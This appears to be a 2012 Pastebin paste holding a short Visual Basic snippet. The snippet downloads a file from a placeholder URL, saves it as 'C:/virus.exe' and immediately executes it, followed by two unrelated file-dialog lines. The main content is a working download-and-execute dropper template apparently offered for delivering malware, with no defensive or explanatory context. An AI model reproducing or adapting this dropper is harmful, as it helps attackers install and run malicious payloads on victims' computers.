Advertisement
Guest User

Untitled

a guest
May 27th, 2012
1,190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.42 KB | None | 0 0
  1.  
  2. Dim myInet As Object
  3. Dim Lol() As Byte
  4. Dim URL As String
  5. Dim LocalX As String
  6. URL = "your url"
  7. LocalX = "C:/virus.exe"
  8. Set myInet = CreateObject("InetCtls.Inet")
  9. Lol() = myInet.OpenURL(URL, icByteArray)
  10. Open LocalX For Binary Access Write As #1
  11. Put #1, 1, Lol()
  12. Close #1
  13. Shell LocalX, vbNormalFocus
  14. ---------------------------------------------------------
  15.  
  16. CommonDialog1.ShowOpen
  17. Text1.Text = CommonDialog1.FileName
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement